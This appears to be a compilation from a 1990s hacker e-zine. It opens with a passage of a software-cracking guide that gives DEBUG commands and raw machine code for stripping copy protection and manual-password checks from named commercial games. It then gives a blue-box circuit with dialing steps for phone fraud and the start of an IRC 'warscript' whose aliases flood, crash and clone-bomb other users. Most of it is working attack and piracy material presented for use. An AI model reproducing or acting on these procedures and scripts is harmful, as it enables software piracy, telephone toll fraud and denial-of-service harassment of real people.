     save the modified file.

     That's ALL there is to modifying SUB.EXE.   You can go  ahead
     and execute your program.   If you have followed my  instruc-
     tions, it should run fine.  Get help if it doesn't.  Now, you
     should be all set.  You can load onto your hard disk,  if you
     haven't already.  You can run it from a RAM disk using a  BAT
     file if you really want it to hum.   Or,  if you have the fa-
     cilities,  you can copy it from 5-1/4" floppy to 3-1/2"  dis-
     kette and run it on machines which accept that medium if  you
     upgrade to a new computer.

     END.



















                                  20

     -------------------------------------------------------------
     Now let's take a look at a newer crack on the program,  Space
     Station Oblivion by Eypx.  At a first [S]earch with Debug and
     Norton's  Utility no CD 13's could be found,  and yet it  was
     using them... So a different approach had to be taken...
     -------------------------------------------------------------


     By:            PTL
     Title:         Space Station Oblivion Crack


     First of all,  you must determine which file the INT 13's are
     in,  in this case it had to be the file OBLIVION.EXE since it
     was the main program and probably contained the INT 13's.  So
     then rename it to a different EXTension and load it into  De-
     bug.

     Then do a [S]earch for INT 13's.

                    -S 100 FFFF CD 13

     Which will promptly turned up nothing.  Hmmm...

     Next you might decide that, maybe, the code was modifying it-
     self.   So quit from Debug and load up PC-Watch,  include all
     the  INT  13  Calls.   For those of  you  not  familiar  with
     PC-Watch,  it is a memory resident program that can be set to
     look  for  any type of BIOS call.   When that  call  is  made
     PC-Watch prints to the screen the contents of all the  regis-
     ters  and the current memory location that the call was  made
     from.

     After PC-Watch is initialized, then run the OBLIVION.EXE file
     from the hard disk,  leaving the floppy drive door open,  and
     sure  enough,  when the red light comes on in   the  diskette
     drive,  PC-Watch  will report the address's of  some  INT  13
     calls.  Which you should then write down.

     From  there,  quit the game, reboot,  (To dump PC-Watch  from
     memory) and load the OBLIVION.EXE into Debug and issue a [G]o
     command with a breakpoint.  What address should you use for a
     breakpoint?   You guessed it, the same address PC-Watch gives
     you.

     Well,  it locked up did'nt it?  Which is quite common in this
     line of work so don't let that discourage you.   So next  re-
     loaded  it into debug and this time [U]nassemble the  address
     that you got from PC-Watch.   But instead of finding the  INT
     13's you'll find harmless INT 21's.

     Hmm...  could  it be that the program was converting  the  CD
     21's to CD 13's during the run?   Well,  to test the idea as-
     semble an INT 20 (Program Terminate) right after the first 

                                  21
     INT 21. Then I run the program, and yes immediately after the
     red light comes on the drive, the program will terminate nor-
     mally.

     Then [U]nassemble that same area of memory,  and low and  be-
     hold,  some  of the INT 21's have magically turned  into  INT
     13's.  How clever...

     So,  then it is just a matter of locating the address of  the
     routine that it jumped (JMP) to if the correct disk was found
     in  drive A:.   Once you have that address,  just go  to  the
     start of all this nonsense and [A]ssemble a JMP XXXX command. 
     Where  XXXX was the address to jump to if the  original  disk
     was in drive A:.

     Then  just [W]rite the file back out to the disk  and  [Q]uit
     debug,   and  then  REName  the  file  back  to  OBLIVION.EXE
     afterwhich it should work fine.


     END.

                                  22

     Chapter III                      Removing Doc Check Questions


     -------------------------------------------------------------
     A  new fad has recently started up with software vendors,  it
     involves  the use of "Passwords" which are either  stored  in
     the  documentation or are actually the documentation  itself. 
     Then  when you reach a certain part of the  program  (Usually
     the beginning) the program will ask for the password and  you
     have  to look it up in the Docs before being allowed to  con-
     tinue.   If the wrong password is entered,  it  will  usually
     drop you to DOS or take you to a Demo version of the program.

     This  new form of copy protection is very annoying,  but  can
     usually  be cracked without too much effort,   and the  files
     and the disk are usually in the standard DOS format.   So now
     we'll take a look at cracking the Doc check questions.

     First  of  all  we'll crack the startup  questions  in   F-15
     Strike Eagle by MicroProse.
     -------------------------------------------------------------


     By:            JP ASP
     Title:         F-15 Unprotect



     Make a copy of the original disk using the DOS DISKCOPY  pro-
     gram.

                    >DISKCOPY A: B:

     Then  insert the copy disk in the A drive and invoke DOS  DE-
     BUG.

                    >DEBUG

     Now we'll [F]ill an area of memory with nothing (00).

                    -F CS:100 L FEFF 0

     Next we will [L]oad into address CS:0100 the data that is  on
     the A: disk (0) from sector 0 to sector 80.

                    -l cs:100 0 0 80

     Now  lets [S]earch the data we loaded for the area where  the
     copy protection routine is.

                    -s cs:100 l feff FA EB FD

     Then for each of the occurences listed, use the address DEBUG
     returned in the [E]nter command below.

                                  23

                    -e xxxx 90 90 90

     -------------------------------------------------------------
     Here's the part we are interested in,  it's where you  change
     all  the autorization codes to a space.   Notice how you  can
     use the [S]earch command to look for ASCII text.
     -------------------------------------------------------------

                    -s cs:100 l feff "CHIP"

     Then for each occurance of "CHIP"  use the address DEBUG  re-
     turned in the [F]ill command below.

                    -F XXXX L F 20

     Write out the modified data

                    -W CS:100 1 0 80

     Quit DEBUG

                    -Q


       You should now be able to DISKCOPY and boot from all copies
     also  just press the space bar when it ask for ANY  authority
     code and then press "ENTER". Now there is no need to remember
     (or look up) any codes that are so finely tucked away in  the 
     manual!

     END.























                                  24
     -------------------------------------------------------------
     Here is a similar method that was used break the passwords in
     the  program BATTLEHAWKS 1945 by Lucasfilms.  However  Norton
     Utilities  is  used to search for the  passwords  and  change
     them.
     -------------------------------------------------------------

     By:            PTL
     Title:         BATTLEHAWKS-1945 Doc Check Crack


     In  keeping in line with their previous programs,  Lucasfilms
     has  released yet another program which uses Doc  Checks  for
     its means of copy protection, Battlehawks 1942.

     When you run this program,  it first goes through a series of
     graphic displays, then it goes through a series of questions,
     asking what type of mission you want to fly,  such as  Train-
     ing, Active Duty, or which side of the war you want to be on.

     Then right before the simulation begins,  it shows you a pic-
     ture of a Japanese Zero and ask you for a password which you

     are  then  supposed to get by looking up the picture  of  the
     Zero in the User Manual and typing the corresponding password
     in.   After which it enters the simulation,  in the event you
     enter  the wrong password,  it puts you into a training  mis-
     sion.

     Removing  the  Doc Check in a program like  this  is  usually
     pretty  easy.   The ideal way to do it is to remove  the  Doc
     Check routine itself,  but if you don't have all day to debug
     and  trace  around the code this might not be the  best  way. 
     For  instance if you only have your lunch hour to work on  it
     (Like  I did),  then you need to use the standard  Q.D.C.R.S.
     (Quick Doc Check Removal System).

     How do you do a QDCRS?  Well first of all,  play around  with
     the program,  find out what it will and will NOT accept as  a
     password.   Most  programs will accept anything,  but  a  few
     (Like Battlehawks) will only accept Alpha characters.

     Once you've learned what it likes,  make an educated guess as
     to what program the Doc Check routine is in.   Then load that
     program into Norton's Utility (NU).

     At this point,  take a look at the passwords,  and write down
     the most unusual one that you can find (I'll explain  later). 
     Now  type that password in as the search string,  and let  NU
     search through the file until it finds the password.   Now  a
     couple of things can happen.

          1. It only finds one occurrence
          2. It finds more than one occurrence
          3. It doesn't find any occurrence

     In  the event of case 2 then YOU have to determine where  the
     passwords  are stored,  you can do this by opening your  eyes
     and looking.

     In the event of case 3,  go to the kitchen and start a pot of
     coffee, then tell you wife to go to bed without you,  because
     you have a "Special Project" that you have to finish tonight. 
     And by the way, Good Luck.  You'll need it.

     Hopefully case 1 will occur,  now you have to take a look  at
     the data and ask yourself 2 questions:

          1. Are all the passwords the same length?
          2. Is there a set number of spaces  between  each  pass-
             word?
          3. Does the next password always start a certain  number
             of characters from the first character of the  previ-
             ous password?

     If you can answer yes to any of the above questions,  you  in
     luck.  All you have to do is change the passwords to spaces

     (If the program allows that,  Battlehawks doesn't) or  change
     them to you favorite character. The letter X works good, it's
     easy to type and easy to remember.

     If you can't answer yes to any of the questions then you  ei-
     ther need to bypass the Doc Check routine itself or you  need
     to be adventurous and experiment. Battlehawks will not follow
     any  of the above patterns,  and your quickly running out  of
     time, so you'll have to try something, fast...

     So  just  wiped out all of the data area with  X's,  all  the
     passwords and associated "garbage" between them.   Then saved
     the changes and drop out of NU and into BH.  Then when it ask
     for the password,  just filed the area with X's.  Next  thing
     you  know,  you'll be escorting a bombing run on  a  Japanese
     carrier.

     So,  this one turned out to be fairly simple.   Where you may
     run into trouble is on Doc Checks that use a graphic  system,
     such as Gunship by MicroProse.  When it comes to this type of
     Doc Check, you almost have to bypass the routine itself.  And
     again, a good way to do this is with setting break points and
     using the trace option in Debug.

     END.







                                  25

     -------------------------------------------------------------
     That  was the easy version Doc Check crack,  however there  a
     "Better"  way to crack Doc Checks,  is to bypass the  routine
     completely  so  the user can just press enter and  not  worry
     about spaces.   Let's take a lot at this method by looking at
     a crack for the program, Yeager's Advanced Flight Trainer, by
     Electronic Arts.
     -------------------------------------------------------------


     By:            PTL
     Title:         Yeager's Advanced Flight Trainer
















                                  26

     Chapter 5                               Cracking Self Booters



     -------------------------------------------------------------
     Now we'll take a look at cracking self booters.  A few compa-
     nies  have found this to be the best copy  protection  scheme
     for them, one of which is DataEast, makers of Ikari Warriors,
     Victory Road,  Lock-On, Karnov, etc...  This posses a special
     problem  to the Amateur Cracker, since they seldom use  stan-
     dard DOS formats.  So let's jump right in!
     -------------------------------------------------------------


     This  is the area where a "Higher than Normal"  knowledge  of
     Assembly  Language and DOS Diskette structures,  so first  of
     all, the Basic's.


     The Disk's Physical Structure

     Data is recorded on a disk in a series of concentric circles,
     called Tracks.   Each track if further divided into segments,
     called  Sectors.   The  standard  double-density  drives  can
     record  40 tracks of data, while the new quad-density  drives
     can record 80 tracks.

     However, the location, size, and number of the sectors within
     a  track are under software control.   This is why  the  PC's
     diskettes are known as soft-sectored.  The characteristics of
     a  diskette's sectors (Their size, and the number per  track)
     are set when each track is formatted.  Disk Formatting can be
     done either by the operating system or by the ROM-BIOS format
     service.   A lot of self booters and almost all forms of copy
     protection  create unusual formats via the ROM-BIOS  diskette
     services.

     The  5 1/4-inch diskettes supported by the standard  PC  BIOS
     may  have  sectors that are 128,256,512,  or 1,024  bytes  in
     size.   DOS, from versions 1.00 through 4.01 has consistently
     used sectors of 512 bytes, and it is quite possible that this
     will continue.  

     Here is a table displaying 6 of the most common disk formats:
     _____________________________________________________________

     Type      Sides        Sectors       Tracks       Size(bytes)
     _____________________________________________________________

      S-8        1             8            40            160K
      D-8        2             8            40            320K
      S-9        1             9            40            180K
      D-9        2             9            40            360K
     QD-9        2             9            80            720K
     QD-15       2            15            80          1,200K
     _____________________________________________________________



     S  - Single Density
     D  - Double Density
     QD - Quad Density

     Of all these basic formats,  only two are in widespread  use:
     S-8  and D-9.   The newer Quad Density formats are for the  3
     1/2" and 5 1/4" high density diskettes.


     The Disk's Logical Structure

     So,  as we have already mentioned,  the 5  1/4-inch  diskette
     formats have 40 tracks,  numbered from 0 (the outside  track)
     through 39 (the inside track,  closest to the center).   On a
     double  sided diskette,  the two sides are numbered 0  and  1
     (the  two  recording heads of a double-sided disk  drive  are
     also numbered 0 and 1).

     The BIOS locates the sectors on a disk by a three-dimensional
     coordinate  composed of a track number (also referred  to  as
     the  cylinder number),  a side number (also called  the  head
     number),  and a sector number.  DOS,  on the other hand,  lo-
     cates information by sector number,  and numbers the  sectors
     sequentially from the outside to inside.

     We   can  refer  to  particular  sectors  either   by   their
     three-dimensional  coordinates or by their sequential  order. 
     All ROM-BIOS operations use the three-dimensional coordinates
     to locate a sector.  All DOS operations and tools such as DE-
     BUG use the DOS sequential notation.

     The BASIC formula that converts the three-dimensional coordi-
     nates  used by the ROM-BIOS to the sequential sector  numbers
     used by DOS is as follows:

          DOS.SECTOR.NUMBER = (BIOS.SECTOR - 1) + DIOS.SIDE
            * SECTORS.PER.SIDE + BIOS.TRACK * SECTORS.PER.SIDE
            * SIDES.PER.DISK

     And  here are the formulas for converting  sequential  sector
     numbers to three-dimensional coordinates:

          BIOS.SECTOR = 1 + DOS.SECTOR.NUMBER MOD SECTORS.PER.SIDE
            BIOS.SIDE = (DOS.SECTOR.NUMBER \ SECTORS.PER.SIDE)
            MOD SIDE.PER.DISK
            BIOS.TRACK = DOS.SECTOR.NUMBER \ (SECTORS.PER.SIDE
            * SIDES.PER.DISK)

          (Note:  For double-sided nine-sector diskettes, the PC's
          most  common disk format, the value of  SECTORS.PER.SIDE
          is  9 and the value of SIDES.PER.DISK is 2.   Also  note
          that  sides and tracks are numbered differently  in  the
          ROM-BIOS numbering system: The sides and tracks are num-
          bered from 0, but the sectors are numbered from 1.)

     Diskette Space Allocation

     The  formatting  process divides the sectors on a  disk  into
     four sections, for four different uses.  The sections, in the
     order they are stored, are the boot record,  the file alloca-
     tion  table (FAT),  the directory, and the data  space.   The
     size of each section varies between formats,  but the  struc-
     ture and the order of the sections don't vary.

          The Boot Record:

          This section is always a single sector located at sector
     1 of track 0, side 0.  The boot record contains,  among other
     things,  a short program to start the process of loading  the
     operating system on it.   All diskettes have the boot  record
     on them even if they don't have the operating system.  Asisde
     from  the start-up program,  the exact contents of  the  boot
     record vary from format to format.

          The File Allocation Table:

          The  FAT follows the boot record,  usually  starting  at
     sector 2 of track 0,  side 0.   The FAT contains the official
     record of the disk's format and maps out the location of  the
     sectors used by the disk files.   DOS uses the FAT to keep  a
     record of the data-space usage.  Each entry in the table con-
     tains  a specific code to indicate what space is being  used,
     what space is available,  and what space is unusable (Due  to
     defects on the disk).

          The File Directory:

          The file directory is the next item on the disk.   It is
     used  as a table of contents,  identifying each file  on  the
     disk  with a directory entry that contains several pieces  of
     information, including the file's name and size.  One part of
     the entry is a number that points to the first group of  sec-
     tors  used by the file (this number is also the  first  entry
     for this file in the FAT).

          The Data Space:

          Occupies  the bulk of the diskette (from  the  directory
     through the last sector),  is used to store data,  while  the
     other  three  sections are used to support  the  data  space. 
     Sectors  in  the  data space are allocated  to  files  on  an
     as-needed basis,  in units known as clusters.   The  clusters
     are one sector long and on double-sided diskettes, they are a
     pair of adjacent sectors.



     (From  here  on I'll continue to describe the basics  of  DOS
     disk structures, and assembly language addressing technics.


     -------------------------------------------------------------
     Here  is a simple routine to just make a backup copy  of  the
     Flight Simulator Version 1.0 by Microsoft.  I know the latest
     version  is  3.x but this version will serve the  purpose  of
     demonstrating  how to access the data and program files of  a
     selfbooter.
     -------------------------------------------------------------


     By:            PTL
     Title:         Microsoft Flight Simulator 1.00 Unprotect


     This procedure will NOT convert the Flight Simulator disk  to
     files  that can be loaded on a hard drive.   But...  it  will
     read  off the data from the original and put it onto  another
     floppy.  And this should give you an idea of how to read data
     directly from a disk and write it back out to another disk.

     First of all take UNFORMATTED disk and place it in drive  B:. 
     This will be the target disk.

     Now  place your DOS disk (which has Debug) into drive A:,  or
     just load Debug off you hard disk.

                    A>DEBUG

     Then  we  are going to enter (manually) a little  program  to
     load the FS files off the disk.

                    -E CS:0000 B9 01 00 BA 01 00 BB 00
                               01 0E 07 06 1F 88 E8 53
                               5F AA 83 C7 03 81 FF 1C
                               01 76 F6 B8 08 05 CD 13
                               73 01 90 FE C5 80 FD 0C
                               76 E1 90 CD 20

                    -E CS:0100 00 00 01 02 00 00 02 02 00 00 03 02
                               00 00 04 02 00 00 05 02 00 00 06 02
                               00 00 07 02 00 00 08 02

     Next we'll [R]eset the IP Register by typing.

                    -R IP

     And then typing four zeros after the address prefix.

                    xxxx:0000  

     Next insert the original Flight Simulator disk into drive  A: 
     and we'll run our little loader.

                    -G =CS:0000 CS:22 CS:2A

     Now enter a new address to load from.

                    -E CS:02 0E
                    -E CS:27 19

     And run the Loader again.

                    -G =CS:0000 CS:22 CS:2A

     New address

                    -E CS:02 27
                    -E CS:27 27

     Run Loader

                    -G =CS:0000 CS:22 CS:2A

     Here  we'll  do some [L]oading directly from  the  disk  our-
     selves.

                    -L DS:0000 0 0 40

     And the in turn, write it back out to the B: (1) drive

                    -W DS:0000 1 0 40

     Etc...

                    -L DS:0000 0 40 28
                    -W DS:0000 1 70 30
                    -L DS:0000 0 A0 30
                    -W DS:0000 1 A0 30
                    -L DS:0000 0 138 8
                    -W DS:0000 1 138 8

     When  we are all through,  [Q]uit from debug and  you  should
     have a backup copy of the Flight Simulator.

                    -Q

     And that's all there is to it.

     END.


[]---<mince here>---<slice here>---<rip here>---<snip, snip>---<cut here>---[]

-------------------------------+
03 - Plans for the UK blue box |
-------------------------------+
________________________________________________________________________
                                                     
      2280hz Blue Box Circuit - from 0943 817010 *** OPEN SOON ***         
________________________________________________________________________
                                               
Circuit Diagram -

                                        /  Connect to Send    
           _______________________ ____/     __________________
          !                       !    !                       ! 
          !                       !    !  /!                   !
 _________! ____ ________ __      !   _! / ! Small             !
!   ______!_____! ____   !  !     !  !__!  ! Loudspeaker       !
!  !    __!_____!_____!__!__!__   !    ! \ !                   !
!  !   !  E  D  C  B  A  9  8  !  !    !  \!                   !
!  !   !                       !  !   ! !                      !
!  !   !        4047B IC       !  !   ! !  100 Ohm Resistor    !
!  !   !                       !  !   ! !                      !
!  !   !__1__2__3__4__5__6__7__!  !    !                       !
!  !      !  !  !  !  !  !  !     !    !                     __!__ +ve
!  !      !  !  !  !__!__!__! ____!    !                      ___  9v cell
!  !      !  !  !     ______!          !                       !   -ve
!  !     _! _!  !    !       __________!                       !
!  !    ! !     !    !      /          !                       !
!  !____! ! ____! ___! ___!/           !                       !
!       ! !     !    !    !\ ZTX 300   !                       !
! 0.01uF! !_! !_!    !      \       ___!                       !
!       !   ! ! !    !       !     /                           !
!       !       !    !       !___!/                            !
!       !       !    !           !\  ZTX 300                   !
!       !       !    !             \___________________________!
!      ! !     ! !   !                                         !
! 10K  ! !     ! ! 80!                                         !
! Ohms ! !     ! ! Ohms                                        !
!       !       !    !                                         !
!       !       !    !                                         !
! 6.2  ! !      !    !                                         !
! Ohms ! !      !    !                                         !
!      ! !      !    !                                         !
!       !_______!    !                                         !
!                    !                                         !
!____________________!_________________________________________!

Components List -

1 4047B IC (about 25p)
2 ZTX 300 transistors (about 14p each)
1 0.01uF ceramic disc capacitor (about 5p)
1 10K resistor (about 2p)
1 100 ohm resistor  (about 2p)
1 80 ohm resistor (about 2p) 
1 6.2 ohm resistor (about 2p)
1 10x24 veroboard (about 40p)
1 Miniature Loudspeaker (about 90p)
1 Push to connect switch (about 40p)

Total cost 2.20

Extras -

1 blue coloured box (spray this pink to conceal purpose of device)
1 9v battery

Construction -

The device is very simple to construct and can be made small enough
to fit onto a 10x24 veroboard. 

Note:  ZTX 300 Transistor 

       / collector
base !/   
     !\
       \ emitter
      
How the Device Works -

The three resistors and the capacitor set the frequency. 
If the capacitor is 0.1uF then the resistor value can be calculated
in the following way:

R = 23000000   
    ________
 
    frequency

So, the resistor value for 2600hz would be:

R = 23000000      = 8846.15 Ohms (this is no good, however because it
    ________        must be more than 10K)

    2600

The frequency that the 4047B outputs is then amplified by the two
transistors(a darlington pair) before being put through the loudspeaker.

Using the Device -

1) Dial a long-distance unobtainable number.
2) Hold the speaker against the phone microphone.
3) Send the 2280hz tone by holding the switch down on the device.
4) Pulse/Tone(exchange dependent)dial the exchange number.
5) Dial number to connect to.

For more information on this see 'phreak' on 0943 817010 (24 hours)
                                           ** OPEN SOON **
NB: DO NOT CONNECT THIS DEVICE INDIRECTLY OR DIRECTLY TO ANY TELEPHONE
    NETWORK IN THE UK.
_______________________________________________________________________

Feel free to add your own credits, but don't remove those that are
already there !
_______________________________________________________________________



[]---<mince here>---<slice here>---<rip here>---<snip, snip>---<cut here>---[]

--------------------------+
04 - Scythe IRC Warscript |
--------------------------+

#
#           - + Scythe IRC Warscript from Vassago Version C + -
#                    - + Released March 25th, 1995 + -
#
#  This is a standalone version of my original PHOENIX.WAR from PhoEniX
#  Version 2.01, with many enhancements added. It should work fine with 
#  any script (I hope :). This script will work with all 2.2.9 IRCII 
#  clients and ascending versions. Users of IRCII 2.3.17 and variations 
#  may experience some problems using this script. Scythe may or may not 
#  work correctly on VMS/VAX systems. This script has NO version message
#  additions, so the only person who knows you are running it will be you.
#
#  Please do NOT use this script unless you get it directly from my
#  jcowan.reslife.okstate.edu FTP site. I only guarantee my scripts to be 
#  free from backdoors IF THEY ARE DOWNLOADED DIRECTLY from this site.
#  
#  - Vassago (Ryan Addams)
#    [mordy@wentz415.reslife.okstate.edu]
#

alias sxecho {^xecho -level crap [S/X] $0-}

echo [S/X] Loading Vassago's SCYTHE, one moment please...

# Defaults for flash & nuke used in NUKE, FLASH, SNUKE, MASSFLASH, MFLASH.
# If you want to specify a different directory for these, do so here.

assign flash_pgm flash
assign mflash_pgm mflash
assign nuke_pgm nuke

# Servers for use as RANDOM servers in the /CLONEBOTS CLONE command.
# These should all allow connections from your host.

assign CSERV[1] bazooka.rutgers.edu
assign CSERV[2] irc.uiuc.edu
assign CSERV[3] irc.escape.com
assign CSERV[4] minnie.cc.utexas.edu
assign CSERV[5] irc.indiana.edu
assign CSERV[6] cs-pub.bu.edu
assign CSERV[7] alfred1.u.washington.edu
assign CSERV[8] organ.ctr.columbia.edu
assign CSERV[9] irc.texas.net
assign CSERV[10] irc-2.mit.edu

@ cservnum = 11

### Other Default Assigns

assign CLONEUNAME NONE
assign CLONEPORT 6667
assign CLONEWINDOW OFF

assign TSU ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

assign RCRAPCRAP abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789a

@ SERVCOUNT = 1
@ NUMCLONES = 0

alias randcrap {
  @ RCOUNTER = 1
  while (RCOUNTER < [$0]) {
    @ RCOUNTER = RCOUNTER + 1
    EVAL ^assign RCRAP $MID($rand(62) 1 $RCRAPCRAP)${RCRAP}
  }
  EVAL ^assign RCRAP $MID($rand(25) 1 $RCRAPCRAP)${RCRAP}
  ^assign FUNCTION_RETURN $RCRAP
  ^assign -RCRAP
}

alias repeatcmd {
  @ RCOUNT = 0
  while (RCOUNT < [$0]) {
    @ RCOUNT = RCOUNT + 1
    /$1-
  }
  ^assign -RCOUNT
}

^set NOVICE OFF
^set EXEC_PROTECTION OFF

on ^dcc_raw "*" #
on ^dcc_raw "% % D *PIN*" {//^dcc raw $0 $1 PONG :$1}

### Miscellaneous Floods

alias toolzbomb {
  quote PRIVMSG $0 :TOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZ
  quote PRIVMSG $0 :TOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZ
  quote PRIVMSG $0 :TOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZ
  quote PRIVMSG $0 :TOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZ
  quote PRIVMSG $0 :TOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZTOOLZ
  /sxecho ToolZ bombed $0\, you might get a lot of replies.
}

alias multiflood {
  /quote PRIVMSG $0 :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  /quote PRIVMSG $0 :USERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFO
  /quote PRIVMSG $0 :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  /quote PRIVMSG $0 :USERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFOUSERINFO
  /quote PRIVMSG $0 :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  /quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED
  /quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING
  /sxecho Multiple flooded $0\, you might get a lot of replies.
}

alias verflood {
  quote PRIVMSG $0 :VERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVER
  quote PRIVMSG $0 :VERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVER
  quote PRIVMSG $0 :VERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVER
  quote PRIVMSG $0 :VERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVER
  quote PRIVMSG $0 :VERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVERVER
  /sxecho VER flooded $0\, you might get a lot of replies.
}

alias pingflood {
  quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING
  quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING
  quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING
  quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING
  quote PRIVMSG $0 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING
  /sxecho PING flooded $0\, you might get a lot of replies.
}

alias pongflood {
   repeatcmd 4 EVAL /quote PONG $TSU :$0
   sxecho PONG flood sent to $0\.
}

alias sedflood {
  quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED
  quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED
  quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED
  quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED
  quote PRIVMSG $0 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED
  /sxecho I have CTCP SED flooded $0\.
}

alias tsunami {
  EVAL repeatcmd 4 quote PRIVMSG $0 :$TSU
  sxecho I have tsunamied $0\.
}

alias dccbomb {
  quote PRIVMSG $0 :DCC SEND trsiult9_1.zip $rand(99999999) 19 6667
  quote PRIVMSG $0 :DCC SEND trsiult9_2.zip $rand(99999999) 19 6667
  quote PRIVMSG $0 :DCC SEND trsiult9_3.zip $rand(99999999) 19 6667
  quote PRIVMSG $0 :DCC SEND trsiult9_4.zip $rand(99999999) 19 6667
  quote PRIVMSG $0 :DCC SEND trsiult9_5.zip $rand(99999999) 19 6667
  quote PRIVMSG $0 :DCC SEND trsiult9_6.zip $rand(99999999) 19 6667
  quote PRIVMSG $0 :DCC SEND trsiult9_7.zip $rand(99999999) 19 6667
  quote PRIVMSG $0 :DCC SEND trsiult9_8.zip $rand(99999999) 19 6667
  quote PRIVMSG $0 :DCC SEND trsiult9_9.zip $rand(99999999) 19 6667
  quote PRIVMSG $0 :DCC SEND trsiult9_10.zip $rand(99999999) 19 6667
